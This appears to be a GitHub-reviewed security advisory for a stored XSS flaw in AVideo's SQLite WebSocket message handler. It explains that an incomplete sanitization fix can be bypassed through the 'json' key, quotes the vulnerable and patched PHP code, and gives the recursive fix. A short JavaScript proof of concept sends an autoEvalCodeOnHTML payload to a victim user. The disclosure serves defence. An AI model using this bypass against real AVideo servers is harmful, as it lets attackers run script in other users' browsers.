OSV 1.4.0 · github-reviewed · 修改于 2026-06-05 02:55
发布时间
2026-06-05 02:55
GitHub 审查时间
2026-06-05 02:55
NVD 发布时间
—
源文件
advisories/github-reviewed/2026/06/GHSA-2fhx-q92v-5fhv/GHSA-2fhx-q92v-5fhv.json
autoEvalCodeOnHTML in MessageSQLite WebSocket HandlerAVideo has a stored XSS vulnerability in the WebSocket messaging system. The MessageSQLite.php handler only strips autoEvalCodeOnHTML from $json['msg'], but msgToResourceId() reads from $msg['json'] with higher priority. An attacker can place the XSS payload in the json key instead of msg, bypassing the sanitization entirely.
AVideo <= latest
$json['msg']plugin/YPTSocket/MessageSQLite.php lines 268-271 — the incomplete fix:
if (empty($msgObj->isCommandLineInterface) && ($msgObj->sentFrom ?? '') !== 'php') {
if (is_array($json['msg'] ?? null)) {
unset($json['msg']['autoEvalCodeOnHTML']); // Only strips from $json['msg']
}
}
plugin/YPTSocket/MessageSQLite.php lines 361-367 — the bypass via msgToResourceId():
if (!empty($msg['json'])) {
$obj['msg'] = $msg['json']; // $msg['json']['autoEvalCodeOnHTML'] is NEVER stripped
} else if (!empty($msg['msg'])) {
$obj['msg'] = $msg['msg']; // Only this path was sanitized
} else {
$obj['msg'] = $msg;
}
Compare with the correctly patched Message.php (lines 254-256):
$json = removeAutoEvalCodeOnHTMLRecursive($json); // Strips from ALL nested paths
And MessageSQLiteV2.php (lines 302-303):
$json = removeAutoEvalCodeOnHTMLRecursive($json); // Same recursive fix
MessageSQLite.php does not call removeAutoEvalCodeOnHTMLRecursive() at all.
autoEvalCodeOnHTML in the json key instead of msg$json['msg'] — the json key is untouchedmsgToResourceId() reads $msg['json'] first (line 361) because !empty($msg['json']) is trueautoEvalCodeOnHTML// Connect to AVideo WebSocket as authenticated user
const ws = new WebSocket('wss://TARGET/plugin/YPTSocket/server.php?token=USER_TOKEN');
ws.onopen = () => {
ws.send(JSON.stringify({
msg: "Hello", // sanitized path — decoy
json: {autoEvalCodeOnHTML: "alert('XSS')"}, // unsanitized path — payload
to_users_id: VICTIM_USER_ID,
resourceId: RESOURCE_ID
}));
};
// Victim's client evaluates alert('XSS') via autoEvalCodeOnHTML mechanism
An authenticated attacker can:
The vulnerability affects the default SQLite WebSocket backend configuration.
Apply removeAutoEvalCodeOnHTMLRecursive() in MessageSQLite.php, consistent with Message.php and MessageSQLiteV2.php:
// Before (vulnerable — shallow strip):
if (is_array($json['msg'] ?? null)) {
unset($json['msg']['autoEvalCodeOnHTML']);
}
// After (fixed — recursive strip):
$json = removeAutoEvalCodeOnHTMLRecursive($json);